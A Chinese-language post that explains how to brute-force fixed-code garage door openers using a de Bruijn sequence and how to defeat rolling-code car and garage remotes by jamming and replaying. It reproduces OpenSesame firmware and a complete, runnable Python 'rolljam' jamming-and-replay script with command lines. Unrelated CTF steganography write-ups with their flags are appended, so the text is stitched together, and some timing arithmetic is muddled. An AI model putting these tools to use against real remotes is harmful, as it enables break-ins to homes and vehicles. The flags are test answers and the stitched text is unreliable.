大家都知道,车库开关现在基本都是以遥控为主,当我们摁下遥控器发出开启信号,车库接收器收到信号后就会打开,关闭车库是一样的过程,而这也是生产厂商采用的常见思路,但是这并不安全——信号伪造。遥控钥匙中通常会采用的固定代码系统,而这个密钥系统有一个思路简单、利用难度低的漏洞:遥控钥匙的密钥空间极其有限(毕竟钥匙就那么大)。例如,车库遥控器支持 长度为12 位二进制的DIP开关。(DIP开关常用在车库门开启器或是一些早期的无线电话中,用来设定保全码,保全码最长可以用十二个开关来设定,可用来避免和其他车库门开启器或是其他设备之间的电磁干扰。)这本质上是一个打开车库的固定密码,但由于它是二进制(0和1)且长度一共12 位,因此密钥总数量为2 ** 12,即 4096 种可能的组合。

要知道,我们每单击一次钥匙就会发送相同的密钥信号5 次,并且我们会看到每一“位”都需要 2 毫秒才能发送,其中发送整个代码后,每个位有 2ms 的等待时间。因此,每串12 位二进制组合需要(12 位 * 2ms 传输 * 2ms 等待 * 5 次 = 240ms)。要暴力破解整个 8、9、10、11 和 12 位密钥空间,即:

(((2 ** 12)*12) + ((2 ** 11)*11) + ((2 ** 10)*10) + ((2 ** 9)*9) + ((2 ** 8)*8)) = 88576 位
88576 位 * 4ms传输时间 * 5 次传输 = 1771.52 秒 = 30 分钟

除此之外,我们还需要知道发射信号的频率和波特率(幸运的是大部分的车钥匙都采用一种规格的信号)。但如果我们不知道的话,就得尝试几种不同的频率和波特率,那么就需要花费30分钟好几倍的时间。

优化去重

第一个去重尝试效果非常明显,那就是消除重传,不再是每次发送信号 5 次,而是只发送一次,假设没有干扰或接收问题,这会将时间减少至原来的1/5。

1771.52 秒 / 5 = 354.304 秒 = 6 分钟

接着,尝试删除发送每个完整代码之间的等待期,看看是否可以连续发送每个代码。因此,我们不会选择发送111111000000[等待12位]111111000001,而是选择直接发送111111000000111111000001。这样的话,我们直接就又干掉了一半的时间:

1771.52 秒 / 5 / 2 = 177.152 秒 = 3 分钟

看上去就已经很不错了,3min 就可以破解车库门,但是可以更好。

芝麻开门

image

这是最关键的。当查看我们发送的数据时,我们现在正在发送连续的比特流。例如:

  • (代码#1)000000000000
  • (代码#2)000000000001
  • (代码#3)000000000010
  • (代码#4)000000000011

我们拼接起来,就是这样: ​000000000000000000000001000000000010000000000011

问题是,车库的接收器如何看待这些位?如果使用移位寄存器怎么办?

参照原文:

In digital circuits, a shift register is a cascade of flip flops, sharing the same clock, in which the output of each flip-flop is connected to the "data" input of the next flip-flop in the chain, resulting in a circuit that shifts by one position the "bit array" stored in it, shifting in the data present at its input and shifting out the last bit in the array, at each transition of the clock input.

image

如果是这种情况,这意味着如果我们在真实代码之前或之后添加任何数量的位,信号接收器并不会关心。

因此,整个过程就是:假设我们的车库密码是 ​111111000000。如果车库使用移位寄存器,并且我们发送 13 位0111111000000,车库将首先测试:011111100000(不正确)==>(砍掉第一位,然后拉入下一位)==>​ 111111000000(正确!)

而更美妙的是,车库不会清除尝试的密钥,因此发送一串12 位长度的密钥时,还会测试五个 8 位代码、四个 9 位代码、三个 10 位代码、两个 11 位代码,当然还有一个 12 位代码!只要我们每发送12位代码,8-11位代码就会同时被测试。

现在,必须有一种算法能够生成每种可能的代码,并尽可能少的减少位重叠。

德布鲁因序列(de Bruijn sequence)

de Bruijn sequence - Wikipedia

组合​ ​数学中,大小为 k 的字母表 A 上的n阶de Bruijn 序列是一个循环序列,其中 A 上每个可能的长度为 n 的字符串作为子串(即作为连续子序列)仅出现一次。这样的序列用B ( k , n )表示,长度为k ** n​ ,这也是 A 上长度为 n 的不同字符串的数量。这些不同的字符串中的每一个当作为B( k , n )的子字符串时,必须从不同的位置开始,因为从相同位置开始的子字符串并不会不同。因此,B ( k , n )必须至少有k ** n符号。并且由于B ( k , n )恰好 具有​ k ** n ​个符号,因此就包含长度为​ n ​的每个字符串至少一次的属性而言,De Bruijn 序列是最佳的短序列。

不同 de Bruijn 序列​ B ( k , n )的数量为

image

在最短的时间内生成 8-12 位的所有可能的重叠序列来实现该算法,所需要的时间会有多短呢🤔?

答:测试每 8 到 12 位的可能性:((2 ** 12) + 11) * 4ms / 2 = 8214 ms = 8.214 秒!!!

频率、调制、编码器

频率

直接的假设是这些固定销车库和大门跨越很宽的频率范围。例如,维基百科建议这些无线设备跨越 300MHz - 400MHz,要求我们将相同的信号发送到 100 个额外的频率。然而,在提取我能找到的所有固定发射机的 FCC 文档后,我们发现只有少数频率被使用过,主要是​ 300MHz310MHz315MHz318MHz​ 和 ​390MHz

此外,大多数这些接收器都没有任何带通滤波器,允许更广泛的频率通过,在测试中通常至少覆盖额外的 2MHz。

调制

您会发现几乎所有这些发射机都使用​ ASK/OOK ​进行传输。此外,许多接收器通过使用相同的 OOK 信令来支持互操作性。这可以通过测试多个车库门开启器、查看多个发射器的 FCC 文件并注意各种车库门开启器支持的型号来确认。

编码器

以下是大多数此类系统使用的编码器列表:

PT2262、PT2264、SC2260、CS5211、PT2282、PT2240、eV1527、RT1527、FP527、HS527、SCL1527、MC145026、AX5326、VD5026、SMC926、SMC918、PLC168、HCS300、HCS30 1、HCS201

项目成品:

项目地址:https://github.com/samyk/opensesame

主要代码:

#include "types.h"
#ifndef LOCAL
#include <cc1110.h>
#endif
#include <math.h>
#include "ioCCxx10_bitdef.h"
#include "display.h"
#include "keys.h"
#include "garages.h"
#include "rf.h"
#include "fbuffer.h"
#include "zsprites.h"
#include "pm.h"

#define title printl(0, "    OpenSesame 1.0")
#define HIBYTE(a)     (u8) ((u16)(a) >> 8 )
#define LOBYTE(a)     (u8)  (u16)(a)

#define SET_WORD(regH, regL, word) \
    do {                           \
        (regH) = HIBYTE( word );   \
        (regL) = LOBYTE( word );   \
    } while (0)

/* note sdcc wants reverse bit order from datasheet */
typedef struct {
    u8 SRCADDRH;
    u8 SRCADDRL;
    u8 DESTADDRH;
    u8 DESTADDRL;
    u8 LENH      : 5;
    u8 VLEN      : 3;

    u8 LENL      : 8;

    u8 TRIG      : 5;
    u8 TMODE     : 2;
    u8 WORDSIZE  : 1;

    u8 PRIORITY  : 2;
    u8 M8        : 1;
    u8 IRQMASK   : 1;
    u8 DESTINC   : 2;
    u8 SRCINC    : 2;
} DMA_DESC;

__xdata static volatile u8 txdone = 1;
__xdata static volatile u8 ni = 0;

__xdata DMA_DESC dmaConfig;
__xdata u8 realbuf[MAXLEN+1];
__bit sleepy = 0;
__bit txFast = 0;

extern u8 _garage_id = 0;

void setup_dma_tx()
{
    // forum guy used high priority and repeated single mode (TMODE = 2)
    dmaConfig.PRIORITY       = 2;  // high priority
    dmaConfig.M8             = 0;  // not applicable
    dmaConfig.IRQMASK        = 0;  // disable interrupts
    dmaConfig.TRIG           = 19; // radio
    dmaConfig.TMODE          = 2;  // repeated single mode
    dmaConfig.WORDSIZE       = 0;  // one byte words;
    dmaConfig.VLEN           = 0;  // use LEN
    SET_WORD(dmaConfig.LENH, dmaConfig.LENL, MAXLEN);

    SET_WORD(dmaConfig.SRCADDRH, dmaConfig.SRCADDRL, realbuf);
    SET_WORD(dmaConfig.DESTADDRH, dmaConfig.DESTADDRL, &X_RFD);
    dmaConfig.SRCINC         = 1;  // increment by one
    dmaConfig.DESTINC        = 0;  // do not increment

    SET_WORD(DMA0CFGH, DMA0CFGL, &dmaConfig);

    return;
}

void setup()
{
#ifdef SIMULATOR
    UART_Init();
#else
    xtalClock();
    setIOPorts();
    configureSPI();
    LCDReset();

    /* IF setting */
    FSCTRL1   = 0x06;
    FSCTRL0   = 0x00;

    /* DC blocking enabled, OOK/ASK */
    MDMCFG2   = 0x30; // no preamble/sync

    /* no FEC, 4 byte preamble, default channel spacing */
    MDMCFG1   = 0x22;
    MDMCFG0   = 0xF8;

    FREND1    = 0x56;   // Front end RX configuration.
    FREND0    = 0x11;   // Front end RX configuration.

    /* automatic frequency calibration */
    MCSM0     = 0x14;
    //MCSM2 ?
    MCSM1     = 0x30; // TXOFF_MODE = IDLE

    FSCAL3    = 0xE9;   // Frequency synthesizer calibration.
    FSCAL2    = 0x2A;   // Frequency synthesizer calibration.
    FSCAL1    = 0x00;   // Frequency synthesizer calibration.
    FSCAL0    = 0x1F;   // Frequency synthesizer calibration.
    TEST2     = 0x88;   // Various test settings.
    TEST1     = 0x31;   // Various test settings.
    TEST0     = 0x0B;   // low VCO (we're in the lower 400 band)

    /* no preamble quality check, no address check */
    PKTCTRL1  = 0x04;

    /* no whitening, no CRC, fixed packet length */
    PKTCTRL0  = 0x00;

    /* device address */
    ADDR      = 0x11;

    /* packet length in bytes */
    PKTLEN    = MAXLEN;

    setup_dma_tx();
    clear();
#endif
}

int main(void)
{
    u8 key;

    setup();

    while (1)
    {
        title;
        //        "123456789 123456789 1"
        // TODO: make this stuff actually selectable
        printl(2, "Frequency");
        printrlc(2, 21-5, "Auto");
        printl(3, "Baud rate");
        printrlc(3, 21-5, "Auto");
        printl(4, "Bits");
        printrlc(4, 21-5, "Auto");

        // TODO: make this not a loop and use interrupts instead to catch keys
//      while (getkey() != ' ');
        while (1)
        {
            key = getkey();

            // tx!
            if (key == ' ') break;
            else if (key == KPWR)
            {
                sleepy = 1;
                chkSleep();
            }
        }

        // start de bruijn sending
        for (key = 0; key < sizeof(garages)/sizeof(garages[0]); key++)
        {
            _garage_id = key;
            db_send();
        }

        LED_GREEN = HIGH;
        LED_RED = HIGH;

        clear();
        //         "123456789 123456789 1"
        printrl(6, "TRANSMISSION COMPLETE");

    } // while
} // main

/* knock knock
 * - who's there
 * irq rf_vector
 * - irq rf---
 * INTERRUPTING SERVICE ROUTINE RF VECTOR COMPLETE (done transmitting)
 */
void rf_isr_orig() __interrupt (RF_VECTOR)
{
    // clear the interrupt flags
    RFIF &= ~RFIF_IRQ_DONE;
    S1CON &= ~0x03;           // Clear the general RFIF interrupt registers

    txdone = 1;

    // go idle again
    RFST = RFST_SIDLE;
    LED_RED = HIGH; // turn red led off
}

// transmit that badboy
void rftx()
{
    // wait for previous transmission to finish (if any)
    waitForTx();

    txdone = 0;
    LED_GREEN = HIGH; // turn green led off
    LED_RED = LOW; // turn red led on

    // ...
}

// show nyancat while transmitting
void waitForTx()
{
    while (!txdone)
    {
        if (!txFast)
        {
            // this slows down the tx quite a bit
            title;
            fb_blank();
            fb_bitblt((__xdata u8*) nyan[ni++], 30, 20, 0);
            fb_flush();
            //printl(0, "      OpenSesame    ");
            title;
            printl(1, "     Transmitting   ");
            if (ni >= NYANS)
                ni = 0;
        }
    }
}

// from Michael Ossmann's epic IM-ME spectrum analyzer:
void chkSleep()
{
    u8 i;
    /* go to sleep (more or less a shutdown) if power button pressed */
    if (sleepy)
    {
        clear();
        sleepMillis(1000);
        SSN = LOW;
        LCDPowerSave();
        SSN = HIGH;

        while (1)
        {
            sleep();

            /* power button depressed long enough to wake? */
            sleepy = 0;
            for (i = 0; i < DEBOUNCE_COUNT; i++)
            {
                sleepMillis(DEBOUNCE_PERIOD);
                if (keyscan() != KPWR) sleepy = 1;
            }
            if (!sleepy) break;
        }

        /* reset on wake */
        main();
        //setup();
        //goto reset;
    }

}

Bypass rolling code security

现在的车库门开启器已改用安全性较高的滚动码。——维基百科

滚动码技术是目前大部分汽车所采用的防护方法:

image

滚动码技术确实已经比较完善了,安全性上也要比原先的密码系统提高了好几个档次,但还是有不小的问题:

  1. 车钥匙里存有当前的滚动码。当按下车钥匙按钮时,滚动码加上功能码(比如开门,关门等)一起发送给汽车。
  2. 汽车也存有当前的滚动码。当汽车收到同样的滚动码时,它就执行相应的操作。如果收到的数据不匹配,就不执行任何动作。
  3. 车钥匙和汽车里的滚动码是始终保持同步的。
  4. 如果在车钥匙距离车很远时误触了几次车钥匙按钮,或者钥匙发出的信号被故意拦截未被车辆接收,那么车钥匙中的滚动码就会前进好几步,此时跟车内的码就不同步了。这种情况下,汽车允许接收当前码之后指定数量的码,只要车钥匙发送的码在这个窗口之内,汽车都认为是有效的,成功接收后,计数器会再次重新同步。
  5. 如果车钥匙被误按超过设定次数,车钥匙和车就会彻底失去同步,这时候就只能想办法恢复同步了。

同理,如果攻击者能够捕捉到车库附近意外按下按钮的信号,那么就有可能通过重放该信号来解锁车库。但是在实际情况下,要从随机的人那里获取这些信号是相当不现实的。

image

无线电设备在常见频率波段上发送噪声,拦截信号Unlock1使其不能被接收,与此同时保存截获到钥匙发出的Unlock1信号。

当首个钥匙信号遭到拦截,且未能解锁时,车主极大概率会再次尝试。在第二次按下钥匙按钮时,无线电设备会再次拦截信号Unlock2,不过也会在同时传送第一次的信号Unlock1,这次就会被解锁了,通常用户会忽视之前的解锁失败,但是我们却获取了第二个有效的信号。方便的话就安装在汽车上或藏在车库附近,它就可以重复拦截信号,不管车主进行了多少次解锁,它都始终传送上一个信号,然后储存下一个信号,这样的话不管何时取回这一装置,他都会得到一个未使用且有效的滚动码信号。

# 以下命令已由匿名用户测试,用于在远程电源插座上执行攻击
# 自动捕获并重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io
# 捕获并等待按钮重放第一个代码:python rolljam.py -f 315060000 -r 1818 -m -40 -o -2500000 -O capture.io -k
# 加载先前的捕获并重放:python rolljam.py -I capture.io

import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle

parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam.  Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()

rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)

print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data

time.sleep(1) #warm up

if(results.inFile != ''):
    rawCapture = pickle.load(open(results.inFile,"rb"))
    if(len(rawCapture) == 0):
        print "No captures found"
        sys.exit()
    else:
        print "Loaded " + str(len(rawCapture)) + " captures"
    print "Send Phase..."
    c.setModeIDLE()
    emptykey = '\x00\x00\x00\x00\x00\x00\x00'
    d.makePktFLEN(len(emptykey))
    d.RFxmit(emptykey)
    while True:
        try:
            for i in range(0,len(rawCapture)):
                key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
                d.makePktFLEN(len(key_packed))
                raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
                d.RFxmit(key_packed)
                print "Sent " + str(i+1) + " of " + str(len(rawCapture))
        except KeyboardInterrupt:
            print "Bye!"
            d.setModeIDLE()
            sys.exit()
            break;
    print "exiting."
    d.setModeIDLE()
    sys.exit()

print "Jamming...."
c.setModeTX() # start transmitting 

print "Scanning..."
while True:
    try:

        y, t = d.RFrecv(1)
        sampleString=y.encode('hex')
        #print sampleString
        strength= 0 - ord(str(d.getRSSI()))

        #sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
        if (re.search(r'((0)\2{15,})', sampleString)):
            print "Signal Strength:" + str(strength)
            if(strength > results.minRSSI and strength < results.maxRSSI):
                rawCapture.append(sampleString)
                print "Found " + str(sampleString)
                if(len(rawCapture) >= results.numSignals):
                    break;

    except ChipconUsbTimeoutException:
        pass
    except KeyboardInterrupt:
        break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
    pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)

print 'Done jamming'
if(results.waitForKeypress == True):
    time.sleep(.5)  # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
            # and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
            # don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming

if(results.waitForKeypress == True):
    raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"

while True:
    try:
        for i in range(1,len(rawCapture)):

            key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
            raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
            d.makePktFLEN(len(key_packed))
            d.RFxmit(key_packed)
            print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
    except KeyboardInterrupt:
        print "Bye!"
        d.setModeIDLE()
        c.setModeIDLE() # put dongle in idle mode to stop jamming
        sys.exit()
        break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()

展示

garage

2023 World Intelligent Congress-Intelligent Driving Challenge | MISC

Challenge name:23333!

难度:Easy

考点:文件十六进制、零宽隐写

WriteUp:

  1. Winhex打开发现明显特征:

    image1

  2. 编写脚本进行恢复:

     input = open(data', 'rb')
     input_all = input.read()
     ss = input_all[::-1]
     output = open('data.zip', 'wb')
     output.write(ss)
     input.close()
     output.close()
  3. vim,打开:零宽隐写:

    image-1

    image

Challenge name:The game of mathematics

难度:Middle

考点:Fuzz

WriteUp:

解压得到key.jpg,是个数独,在线数独求解器 (gwalker.cn)

image-20230517115554833

exif信息里找到提示对角线,根据之前求解的数独结果,得到密码为654917276261618641

image-20230517115636997

得到一个key.txt,根据题目名称数学游戏,猜测也是个数学游戏,fuzz之后发现是Nonogram数织游戏

image-20230517115821023

github上可以找到个解析的网站Nonogram (handsomeone.github.io),得到压缩包密码Take1tEasy

image-20230517120025190

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name:This is Steganography

难度:Middle

考点:LSB音频隐写、webdings字体

WriteUp:

听wav开头有一些杂音,16进制发现data部分有大量不同寻常的01字节

1684287949492-41b83c2b-6b38-4145-a6f6-fbbc0fa717ab

猜测是wav的lsb隐写,写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片,是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

1684288118403-ff1e1aa8-2ea3-4581-bc38-3a70edc97d49

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name:You're also confused, right?

难度:Schrödinger

考点:Xor

WriteUp

根据题目提示,应该与异或有关,根据flag.zip​后缀提示,将前几个字节与zip文件头异或

可以得到1234

​​image-20230622155130990​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的,解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同,

image-20230622155620852

打印xor.png的rgb发现这张图并不是一张全黑的图

image-20230622155655132

结合图片名仍跟异或有关,将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

image-20230622160030497

image-20230622160045206

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}